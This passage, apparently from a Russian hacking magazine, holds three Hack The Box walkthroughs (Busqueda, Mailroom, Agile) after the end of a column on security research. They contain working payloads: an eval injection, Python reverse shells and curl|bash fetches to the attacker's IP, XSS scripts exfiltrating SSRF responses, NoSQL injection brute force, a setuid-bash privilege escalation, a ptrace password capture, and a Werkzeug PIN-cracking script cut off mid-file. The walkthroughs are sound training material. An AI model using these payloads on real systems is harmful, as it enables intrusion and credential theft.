и глобальные тусовки. Об этом я уже рассказывал в другом выпуске колонки.
Выбирай местную конференцию. Участвуй, собирай отзывы, затем совер-
шенствуй свое исследование и подавай заявку на участие в мероприятии
побольше. Исследуй, выступай, обновляй, повторяй.
Как подготовить хорошую заявку на доклад? Лучше узнать у опытных чле-
нов комиссии, которая рассматривает заявки. К примеру, организаторы кон-
ференции Security Analysts Summit посвятили целый тред подготовке качес-
твенного абстракта.
Почему участники должны посетить именно твой доклад? Запиши ответ.
Найди опытного члена комиссии, который может дать ценный совет
по поводу твоего доклада или хотя бы текста заявки.
И напоследок: определи стратегическую цель своего исследования. При-
мер плохой постановки цели: «получение и совершенствование навыков экс-
плуатации XSS». Хорошая цель: «обнаружить результаты воздействия XSS
в системах, которые ранее не подвергались XSS-атакам». То есть во втором
случае — синтез старой проблемы с новым контекстом.
Если твое исследование выявило проблему, помни об ответственности.
Опиши решение, дай рекомендации, помоги всем заинтересованным сто-
ронам. Ты делаешь проект не для того, чтобы еще раз показать, что этот мир
несовершенен.
«Прежде всего — не навреди».
ВЗЛОМ

ЭКСПЛУАТИРУЕМ БАГ
В ПРИЛОЖЕНИИ НА PYTHON,
ЧТОБЫ ЗАХВАТИТЬ ВЕБ-СЕРВЕР

Начав прохождение этой машины с базово-


го аудита сервиса, мы найдем уязвимость
в нем, получим доступ к серверу и обна-
ружим на нем критически важные данные.
Для повышения привилегий получим доступ RalfHacker
hackerralf8@gmail.com
к внутреннему Gitea и найдем возможность
внедрения команд в проект.

Наша цель — захват рута на тренировочной машине Busqueda с площадки


Hack The Box. Уровень сложности — легкий.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.208 busqueda.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел всего два открытых порта:


• 22 — служба OpenSSH 8.9p1;
• 80 — веб-сервер Apache 2.4.52.

В отчете Nmap видим, что в заголовке http-title прописан редирект


на домен searcher.htb, который тоже сразу добавляем в /etc/hosts.

10.10.11.208 busqueda.htb searcher.htb

Теперь можем перейти к самому сайту searcher.htb.

ÒÎ×ÊÀ ÂÕÎÄÀ
На сайте находим пометку Powered by, которая указывает, что мы имеем дело
с чем-то под названием Searchor 2.4.0.

Главная страница сайта

Находим исходники этой программы на GitHub, открываем историю изме-


нений и видим, что в версии 2.4.2 была запатчена некая уязвимость.

История версий на GitHub

Наша задача — узнать, что именно было изменено и можно ли использовать


баг для атаки.

ÒÎ×ÊÀ ÎÏÎÐÛ
Открываем коммит, в котором была исправлена уязвимость, и изучаем изме-
нения.

Исходный код — файл main.py

Видим, что пользовательский ввод вставляется в шаблон и передается в фун-


кцию eval. Эта функция выполняет переданный ей в строке код на Python.
Попробуем проэксплуатировать уязвимость внедрения кода с помощью наг-
рузок из статьи Майкла Элкана. Не забываем закодировать нагрузку
в кодировку URL (в Burp Suite достаточно нажать Ctrl-U).

' eval(compile('for x in range(1):\n import os\n os.system("id")','',


'single')) '

Выполнение команды id

Команда id успешно сработала. Давай теперь закинем реверс-шелл


на Python 3.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.


AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.99",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import
pty; pty.spawn("sh")'

Напрямую выполнить эту команду не вышло, поэтому используем обходной


путь. Сохраним наш шелл в файл и в той же папке запустим веб-сервер
командой python3 -m http.server 80. Теперь на удаленном сервере ска-
чиваем наш файл с помощью curl и передаем его содержимое на выпол-
нение в командную оболочку Bash. Предварительно запускаем листенер
pwncat-cs. И таким образом получаем доступ к системе и флаг пользовате-
ля.

'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system(
"curl+http%3a//10.10.14.99/rs|bash")','','single'))%2b'

Флаг пользователя

ÏÐÎÄÂÈÆÅÍÈÅ
Теперь нам необходимо собрать информацию. Я буду использовать для это-
го скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Загрузим на хост скрипт для Linux. Для этого в pwncat-cs используем ком-
бинацию клавиш Ctrl-D (выход в главное меню) и команду upload для заг-
рузки файла. Затем возвращаемся в шелл командой back, даем право
на выполнение нашему скрипту (chmod +x linpeas.sh) и запускаем ска-
нирование. В выводе будет очень много информации, поэтому отберем толь-
ко значимую.
В файле /etc/hosts отмечаем запись gitea.searcher.htb.

Имена хостов и DNS-имена

Среди прослушиваемых портов находим порт для службы MySQL (порт 3306)
и Gitea (3000).

Прослушиваемые порты

Настройки sudoers доступны только при вводе пароля.

Вывод команды sudo -l

А в домашнем каталоге пользователя находим типичный для Gitea файл с нас-


тройками ~/.git/config, который часто содержит учетные данные.

Файлы в корневых каталогах других пользователей

Смотрим конфиг /var/www/app/.git/config и находим учетные данные,


которые подходят для пользователя svc.

Содержимое файла /var/www/app/.git/cong

Сессия пользователя svc

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Авторизовавшись от имени svc, перейдем к настройкам sudoers, которые
в данном случае можно получить, только введя пароль пользователя.

sudo -l

Настройки sudoers

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы


пользователей могут выполнять от имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды sudo -l.

Как видишь, мы можем выполнить команду /usr/bin/python3 /opt/


scripts/system-checkup.py * от имени пользователя root. Получить
содержимое этого скрипта не выйдет, так как чтение доступно только
для суперпользователя, а всем остальным разрешено только выполнение
скрипта.

Права файла system-checkup.py

Получить исходник скрипта не удалось, так что давай попробуем поработать


с ним самим. Вдруг команда help выдаст нам что-то полезное?

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *

Меню help скрипта system-checkup.py

Итак, нам доступны известные команды Docker: ps и inspect. Попробуем


получить список запущенных контейнеров.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

Запущенные контейнеры Docker

Видим два контейнера: gitea и mysql_db. Получим их конфиги, указав


параметр docker-inspect.

sudo python3 /opt/scripts/system-checkup.py docker-inspect --format=


'{{json .Config}}' gitea

sudo python3 /opt/scripts/system-checkup.py docker-inspect --format=


'{{json .Config}}' mysql_db

Конфигурации запущенных докер-контейнеров

В настройках докер-контейнера mysql_db находим пароли для MySQL и сер-


виса Gitea. Давай получим доступ Gitea. Для этого сначала добавим запись
в файл /etc/hosts.

127.0.0.1 gitea.searcher.htb

Теперь нужно будет пробросить порт 3000 на свой хост с помощью SSH.

ssh svc@busqueda.htb -L 3000:127.0.0.1:3000

Теперь весь трафик, который мы отправим на локальный порт 3000, будет


туннелирован на порт 3000 указанного хоста (в данном случае 127.0.0.1)
через SSH-хост.

Главная страница Gitea

Теперь мы можем авторизоваться с найденным паролем от имени поль-


зователя administrator и получить доступ к закрытому репозиторию
scripts.

Доступные репозитории

В репозитории обнаруживаем уже знакомый нам скрипт, к коду которого мы


раньше не смогли получить доступ.

Файлы в проекте scripts

Анализируя исходный код, обращаем внимание на третий, не использован-


ный нами ранее параметр — full-checkup.

Исходный код скрипта

С ключом full-checkup скрипт выполнит файл full-checkup.sh в текущем


каталоге. А это путь к выполнению произвольного кода. Мы можем перейти
в каталог с правом на запись, к примеру /dev/shm, и создать в нем скрипт
full-checkup.sh, который назначит S-бит файлу командной оболочки /bin/
bash.

#!/bin/bash
chmod +s /bin/bash

Затем выполним команду, которая запустит наш скрипт.

/opt/scripts/system-checkup.py full-checkup

Эксплуатация уязвимости

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,


запускающий этот файл, получает повышение прав до пользователя — вла-
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из-за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

/bin/bash -p

Флаг рута

У нас есть доступ от имени рута, а значит, машина захвачена!


ВЗЛОМ

ЭКСПЛУАТИРУЕМ NOSQL-
ИНЪЕКЦИЮ ЧЕРЕЗ ЦЕПОЧКУ
УЯЗВИМОСТЕЙ XSS И SSRF

В этом райтапе я покажу сразу несколько


видов атак на веб-приложения: мы проэкс-
плуатируем XSS и SSRF, затем проведем
инъекцию NoSQL, а получив доступ к скры-
тому сайту, найдем уязвимость внедрения RalfHacker
hackerralf8@gmail.com
команд и обойдем фильтр, чтобы получить
RCE. Закончим трейсингом пользователь-
ского процесса в Linux для перехвата вво-
димого в KeePass пароля.

Упражняться в этом нам поможет тренировочная машина сложного уровня


Mailroom с площадки Hack The Box.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.209 mailroom.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел всего два открытых порта: 22 — служба OpenSSH 8.2p1 и 80 —


веб-сервер Apache 2.4.54. Начинаем, как всегда, с веб-сервера.

Главная страница сайта

ÒÎ×ÊÀ ÂÕÎÄÀ
XSS
На сайте есть форма связи с администратором. Проверяем, нет ли тут уяз-
вимости XSS, и в ответ приходит ссылка на страницу с сообщением.

Форма связи с администратором

Результат отправки сообщения

Переходим по этой ссылке и получаем отправленный нами alert.

Результат выполнения кода

Так мы подтвердили наличие XSS, теперь нужно расширить область тес-


тирования. Для этого перейдем к сканированию каталогов и других под-
доменов.

Ñêàíèðîâàíèå âåá-êîíòåíòà
Сканирование каталогов ничего не дало, поэтому переходим к сканированию
поддоменов. Новые сайты откроют новую область для тестирования, а следс-
твенно, и больше потенциальных точек входа.

Одно из первых действий при тестировании безопасности веб-приложе-


ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем сле-
дующие параметры:
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -u — URL;
• -H — заголовок HTTP.

Место перебора помечается словом FUZZ.

Запускаем перебор:

ffuf -u http://mailroom.htb -w subdomains-top1million-110000.txt -t


256 -H 'Host: FUZZ.mailroom.htb'

Результат сканирования поддоменов с помощью ffuf

Но в вывод попадают все варианты из словаря, поэтому установим фильтр


(параметр -fs), который убирает из вывода все страницы с раз-
мером 7748 байт.

ffuf -u http://mailroom.htb/ -w subdomains-top1million-110000.txt -t


256 -H 'Host: FUZZ.mailroom.htb' -fs 7748

Результат сканирования поддоменов с помощью ffuf

Так находим еще один сайт git.mailroom.htb. Давай обновим запись в фай-
ле /etc/hosts и просмотрим сайт.

10.10.11.209 mailroom.htb git.mailroom.htb

Главная страница сайта

Нас встречает платформа Gitea, аналог GitHub для установки на свой сервер.

Gitea
Посмотрим, какие есть репозитории и пользователи.

Доступные репозитории Gitea

Доступные пользователи Gitea

Нам доступен всего один проект — staffroom. Файлы из него тоже нужно
проанализировать.

Содержимое проекта staffroom

Приложение написано на PHP и, возможно, хостится на той же машине.


Поэтому внимательно смотрим исходники и выбираем блоки кода для более
подробного анализа. Естественно, заодно ищем учетные данные и новые
адреса.
Так файл auth.php раскрывает нам новый поддомен.

Исходный код auth.php

А в файле inspect.php вызывается опасная функция shell_exec, в которую


передаются заранее отфильтрованные пользовательские данные.

Исходный код inspect.php

Добавляем найденное доменное имя в файл /etc/hosts и смотрим новый


сайт.

10.10.11.209 mailroom.htb git.mailroom.htb staff-review-panel.


mailroom.htb

Баннер веб-сервера

Этот сайт закрыт от посторонних глаз, поэтому попробуем получить доступ


к нему немного другим путем.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЭКСПЛУАТИРУЕМ NOSQL-ИНЪЕКЦИЮ ЧЕРЕЗ


ЦЕПОЧКУ УЯЗВИМОСТЕЙ XSS И SSRF

ÒÎ×ÊÀ ÎÏÎÐÛ
XSS
Мы уже нашли уязвимость XSS, теперь нужно ее раскрутить. Выложим на свой
веб-сервер файл, который будет содержать код JavaScript, в качестве теста
выполняющий запрос на наш сервер.

fetch("http://10.10.14.119/xss_test");

А в отправляемой нагрузке будем указывать этот файл как источник кода бло-
ка script.

<script src="http://10.10.14.119/expl.js"></script>

Форма связи с администратором

Логи веб-сервера

И в логах веб-сервера видим обращение — сначала к файлу с нагрузкой,


а потом как подтверждение выполненного кода на JavaScript.

XSS + SSRF
Теперь попробуем эксфильтровать главную страницу закрытого сайта.
Для этого в исполняемом коде на JavaScript будем запрашивать удаленный
сайт, а ответ сервера будем кодировать в Base64 и передавать в качестве
параметра при втором запросе на свой сервер.

var xhr = new XMLHttpRequest();


xhr.open('POST', 'http://staff-review-panel.mailroom.htb/index.php',
true);
xhr.setRequestHeader('Content-type', 'application/
x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("http://10.10.14.119/?" + encodeURI(btoa(this.
responseText)));
}
};
xhr.send(null);

Логи веб-сервера

Теперь декодируем строку Base64, записываем в файл и открываем через


браузер. Нас встречает форма авторизации сайта.

Форма авторизации

XSS + SSRF + NoSQL Injection


Вводимые логин и пароль отправляются на страницу auth.php, исходный код
которой мы можем посмотреть в репозитории. Так мы определяем, что
используется NoSQL СУБД MongoDB. Заодно узнаем, что полученные зна-
чения не проверяются, а это напрямую ведет к NoSQL-инъекции.

Исходный код auth.php

Перепишем нагрузку, чтобы она отправляла логин и пароль, получала ответ


от сервера и отправляла его на наш веб-сервер. В итоге получаем сооб-
щение о том, что логин и пароль невалидны.

var xhr = new XMLHttpRequest();


xhr.open('POST', 'http://staff-review-panel.mailroom.htb/auth.php',
true);
xhr.setRequestHeader('Content-type', 'application/
x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("http://10.10.14.119/?" + encodeURI(btoa(this.
responseText)));
}
};
xhr.send("email=ralf123@ralf.com&password=ralf123");

Ответ сервера

А теперь попробуем проэксплуатировать NoSQL-инъекцию. К примеру, если


к имени пользователя добавить [$ne], то вместе с символами = база данных
воспримет это как оператор «не равно». А значит, следующий запрос с неп-
равильными именем пользователя и паролем пройдет проверку и вернет нам
другой ответ.

var xhr = new XMLHttpRequest();


xhr.open('POST', 'http://staff-review-panel.mailroom.htb/auth.php',
true);
xhr.setRequestHeader('Content-type', 'application/
x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("http://10.10.14.119/?" + encodeURI(btoa(this.
responseText)));
}
};
xhr.send("email[$ne]=toto&password[$ne]=toto");

Ответ сервера

В ответе сказано, что используется двухфакторная аутентификация и код


отправлен на почтовый ящик. Таким образом мы получаем ответ, к которому
нужно стремиться, и можем посимвольно перебрать сначала логин, а затем
и пароль. Для перебора первого параметра будем использовать следующий
запрос.

<script>var xhr = new XMLHttpRequest();


xhr.open('POST', 'http://staff-review-panel.mailroom.htb/auth.php',
true);
xhr.setRequestHeader('Content-type', 'application/
x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
if (/"success":true/.test(this.responseText)) {
fetch("http://10.10.14.119/a");
}
}
}
xhr.send("email[$regex]=.*a@mailroom.htb&password[$ne]=toto");
</script>

Последовательность email[$regex]=.* здесь говорит сравнить при помощи


регулярного выражения имя пользователя с любым количеством любых сим-
волов. Но идея в том, чтобы подставлять в конец регулярного выражения
символ (в примере используем a) — проверка будет пройдена и нагрузка
выполнит запрос только тогда, когда имя пользователя будет оканчиваться
таким символом. Узнав последний символ имени пользователя, будем
получать предпоследний и так далее до первого. Для перебора символов я
использую Burp Intruder с задержкой 30 секунд между запросами.

Burp Intruder — вкладка Positions

Burp Intruder — вкладка Payloads

Спустя несколько минут в логах нашего веб-сервера видим запрос с желан-


ным символом.

Логи веб-сервера

Последний символ имени пользователя — n, а значит, мы идем в верном нап-


равлении и будем перебирать предпоследний. Для этого меняем запрос
в Burp Intruder, запускаем перебор и наблюдаем за логами веб-сервера.

Логи веб-сервера

Получили предпоследний символ. Перебирая далее, доходим до момента,


когда имя пользователя ни с одним новым символом не инициирует запрос,
а имя пользователя все равно не подходит.

Логи веб-сервера

Тогда убираем из запроса регулярное выражение и подбираем последний


символ обычным сканированием (место перебора отмечено как $$).

xhr.send("email=$$ristan@mailroom.htb&password[$ne]=toto");

Логи веб-сервера

Получаем имя пользователя, которого находили среди пользователей Gitea.


Теперь будем перебирать пароль. Так как в пароле могут использоваться
не только буквы и цифры, но и любые символы, то первым делом подберем
его длину — тоже в Burp Intruder.

xhr.send("email=tristan@mailroom.htb&password[$regex]=.{1}");
...
xhr.send("email=tristan@mailroom.htb&password[$regex]=.{20}");

Логи веб-сервера

Получаем длину пароля, а теперь уже использованным способом переби-


раем и пароль.

xhr.send("email=tristan@mailroom.htb&password[$regex]=.*$$");

Логи веб-сервера

У нас есть имя пользователя и пароль. Пробуем применить их на всех дос-


тупных сервисах и авторизуемся на SSH.

Сессия пользователя

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЭКСПЛУАТИРУЕМ NOSQL-ИНЪЕКЦИЮ ЧЕРЕЗ


ЦЕПОЧКУ УЯЗВИМОСТЕЙ XSS И SSRF

ÏÐÎÄÂÈÆÅÍÈÅ
Ñëóæáà www-data
Теперь нам необходимо собрать информацию. Я буду использовать для это-
го скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Во-первых, находим файл KeePass.

Список файлов KeePass

Во-вторых, в домашнем каталоге пользователя matthew обнаруживаем поль-


зователя .kpcli-history.

Файлы рута в других пользовательских каталогах

Также помним про внутренний сайт, к которому мы получали доступ через


XSS. Поработаем с этим сайтом, для чего прокинем порт на свой хост через
SSH.

ssh -i id_rsa tristan@mailroom.htb -L 80:127.0.0.1:80

Таким образом весь трафик, который мы пошлем на локальный порт 80, будет
туннелирован на порт 80 указанного хоста (в данном случае 127.0.0.1) через
SSH-хост. Обновим запись в файле /etc/hosts и откроем сайт.

127.0.0.1 staff-review-panel.mailroom.htb

Страница авторизации сайта

Авторизуемся с полученными ранее учетными данными и видим сообщение,


что токен для двухфакторной аутентификации отправлен на почту.

Сообщение о 2FA

Входящие сообщения в Linux находятся в каталоге /var/mail. Получаем


ссылку с токеном для авторизации и заходим на сайт.

cat /var/mail/tristan

Сообщения пользователя tristan

Главная страница сайта

Теперь можем вернуться к функции shell_exec, которую мы уже отмечали.


Функция выполняет переданную ей команду в командной оболочке.

Исходный код inspect.php

Пользовательский ввод подвергается предварительной фильтрации, но сре-


ди представленных символов отсутствует символ косой кавычки. Строка
в таких кавычках будет восприниматься командным интерпретатором как вло-
женная команда, результат которой нужно вставить в основную. Значит, эта
команда будет выполнена первой.
Запускаем веб-сервер:

python3 -m http.server 88

И для теста пытаемся обратиться к нему с удаленного хоста.

curl http://10.10.14.71:88/test_rce

Выполнение команды curl

Логи веб-сервера

Команда выполнена, а значит, запускаем листенер:

pwncat-cs -lp 4321

А также записываем в файл на своем веб-сервере реверс-шелл на Python.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.


AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.71",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import
pty; pty.spawn("sh")'

А теперь скачиваем этот скрипт на удаленном хосте, назначаем права


и выполняем.

curl http://10.10.14.71:88/rs.sh -o /tmp/rs.sh


chmod +x /tmp/rs.sh
/tmp/rs.sh

Сессия пользователя www-data

Ïîëüçîâàòåëü matthew
В исходниках сайта есть каталог .git. Мы знаем, что используется сервис
Gitea, а значит, в файле config могут быть учетные данные для этой системы.

Содержимое каталога сайта

Содержимое файла .git/cong

Получаем учетные данные пользователя matthew и пробуем авторизоваться


с ними в системе. Так мы меняем сессию и получаем первый файл — user.
txt.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Мы уже видели файлы .kpcli и консольную утилиту для работы с менеджером
паролей KeePass. Давай проверим процессы пользователей: есть шанс, что
программа запущена в системе.

Процессы пользователя matthew

Так и есть. Значит, мы можем попробовать отладить процесс и получить дос-


туп к важным данным и даже сохраненным паролям пользователя. Для этого
извлечем PID процесса и отправим отладчику ptrace.

ptrace `ps -elf | grep -v 'pts' | awk '/kpcli/{print $4}'`

Логи отладчика ptrace

Отладчик перехватит вывод сообщения, предлагающего назвать мас-


тер-пароль. Сохраним весь вывод в файл и отфильтруем из него только
вызов функции read, с помощью которой должен быть считан пароль.

Вызовы функции read

В логе видим проскакивающие иногда печатаемые символы. Усилим фильтр,


чтобы выводить только момент считывания таких символов.

Считанные программой символы

И перехватываем введенную строку: !sEcUr3p4$$w0rd9. Это, видимо, и есть


мастер-пароль. Теперь открываем файл в KeePass и получаем рутовый
пароль, с которым можем авторизоваться в системе.

Расшифрованная база данных KeePass

Флаг рута

Машина захвачена!
ВЗЛОМ

ЛОМАЕМ PIN К ВЕБ-КОНСОЛИ


FLASK WERKZEUG

В этом райтапе я разберу атаку на веб-кон-


соль Flask Werkzeug, работу с удаленным
отладчиком Chrome и покажу, как эксплу-
атировать нашумевшую уязвимость
в sudoedit для чтения произвольных файлов RalfHacker
hackerralf8@gmail.com
в системе.

Поможет мне в этом тренировочная машина Agile с площадки Hack The Box.
Уровень ее сложности — средний.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.203 agile.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел всего два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 —


веб-сервер Nginx 1.18.0. Как обычно в такой ситуации, сразу идем смотреть
веб.

Главная страница agile.htb

Нас встречает стартовая страница Nginx, а это значит, что основной сайт рас-
положен либо в другом каталоге, либо на другом домене. Попробуем его
найти, для этого просканируем каталоги с помощью feroxbuster.

Одно из первых действий при тестировании безопасности веб-приложе-


ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю
feroxbuster.
При запуске указываем следующие параметры:
• -u — URL;
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -d — глубина сканирования.

feroxbuster -u http://10.10.11.203/ -w directory_2.3_medium_


lowercase.txt -d 2 -t 256

Результат сканирования каталогов

В результате сканирования находим редирект на домен superpass.htb.


Добавляем его в файл /etc/hosts и проверяем.

10.10.11.203 agile.htb superpass.htb

Главная страница сайта superpass.htb

ÒÎ×ÊÀ ÂÕÎÄÀ
На сайте есть возможность зарегистрироваться и авторизоваться. Сделаем
это, чтобы расширить область тестирования.

Форма авторизации

Теперь нам доступен онлайновый сервис для хранения учетных данных.

Страница vault

Нам нужно протестировать максимально возможное число функций сервиса.


Создаем тестовую запись и экспортируем пароли.

Экспорт паролей

Файл скачивается автоматически, просмотрим весь процесс в Burp History.

Burp History

Имя файла для скачивания передается в параметре fn на странице


download. Стоит проверить, можно ли выполнить обход каталога и получить
другой произвольный файл.

Содержимое файла /etc/passwd

Получаем содержимое файла /etc/passwd, а это значит, что на сайте есть


уязвимость LFI.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ЛОМАЕМ PIN К ВЕБ-КОНСОЛИ FLASK


WERKZEUG

ÒÎ×ÊÀ ÎÏÎÐÛ
LFI
Первым делом, когда обнаруживаем LFI, нужно проверить все файлы,
которые могут содержать интересную информацию. На GitHub можно найти
много таких словарей, а перебирать по ним будем с помощью Burp Intruder.

Burp Intruder — вкладка Payload positions

В результате ничего особенного не нашли, только из файла /etc/passwd


узнаем о наличии тестовой версии сайта на домене test.superpass.htb,
а также получим переменные окружения процесса из файла /proc/self/
environ.

Содержимое файла /etc/hosts

Содержимое файла /proc/self/environ

Переменные окружения раскрыли нам пользователя www-data, от имени


которого работает сервис. Интересна и переменная CONFIG_PATH, где указан
файл настроек /app/config_prod.json. Но при попытке прочитать его
получаем ошибку Bad Request.

Запрос на загрузку файла /app/cong_prod.json

Иногда при отображении ошибок приложение может раскрывать пути к фай-


лам, в которых произошла ошибка. Поэтому попробуем скачать несуществу-
ющий файл /etc/qweqweqwe.txt.

Запрос на загрузку файла /etc/qweqweqwe.txt

Приложение предоставило большой вывод, в котором и присутствует путь


к исполняемому файлу сайта:

/app/app/superpass/views/vault_views.py

Содержимое файла vault_views.py

Моей первой идеей было получить SECRET_KEY от Flask, чтобы можно было
вручную генерировать идентификаторы сессии других пользователей
и получать сохраненные пароли. Но в этом случае секретный ключ Flask
не был явно задан.

Flask Werkzeug
При регистрации и авторизации можно добиться ошибки Flask, что дает нам
возможность запросить дебаг-консоль Werkzeug. Но проблема в том, что она
защищена девятизначным PIN-кодом.

Страница ошибки Flask Werkzeug

Консоль Werkzeug

Тут нам и пригодится уязвимость LFI, так как, имея доступ к некоторым
параметрам системы, можно рассчитать PIN с помощью скрипта из статьи
Бена Грюэла. Часть параметров у нас уже есть:
• имя пользователя, от имени которого работает приложение, — www-data;
• название модуля — обычно flask.app или werkzeug.debug;
• название приложения — тоже берем из скрипта wsgi_app,
это DebuggedApplication или Flask;
• путь к приложению Flask — /app/venv/lib/python3.10/site-
packages/flask/app.py.

Еще два необходимых значения — MAC-адрес и идентификатор системы.


Первый параметр получаем из файла /sys/class/net/eth0/address,
а затем переводим в десятеричный формат: 345052368982.

Содержимое файла /sys/class/net/eth0/address

Преобразованное значение

Чтобы получить второй недостающий параметр, нам нужно объединить зна-


чения из файлов /etc/machine-id и /proc/self/cgroup:

ed5b159560f54721827644bc9b220d00superpass.service

Содержимое файла /etc/machine-id

Содержимое файла /proc/self/cgroup

Теперь используем перечисленные значения в следующем скрипте


для получения всех возможных вариантов PIN-кода.

import hashlib
import itertools
from itertools import chain

def crack_md5(username, modname, appname, flaskapp_path, node_uuid,


machine_id):
h = hashlib.md5()
crack(h, username, modname, appname, flaskapp_path, node_uuid,
machine_id)

def crack_sha1(username, modname, appname, flaskapp_path, node_uuid,


machine_id):
h = hashlib.sha1()
crack(h, username, modname, appname, flaskapp_path, node_uuid,
machine_id)

def crack(hasher, username, modname, appname, flaskapp_path,


node_uuid, machine_id):
probably_public_bits = [
username,
modname,
appname,
flaskapp_path ]
private_bits = [
node_uuid,
machine_id ]

h = hasher
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size,
'0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

if __name__ == '__main__':
usernames = ['www-data']
modnames = ['flask.app', 'werkzeug.debug']
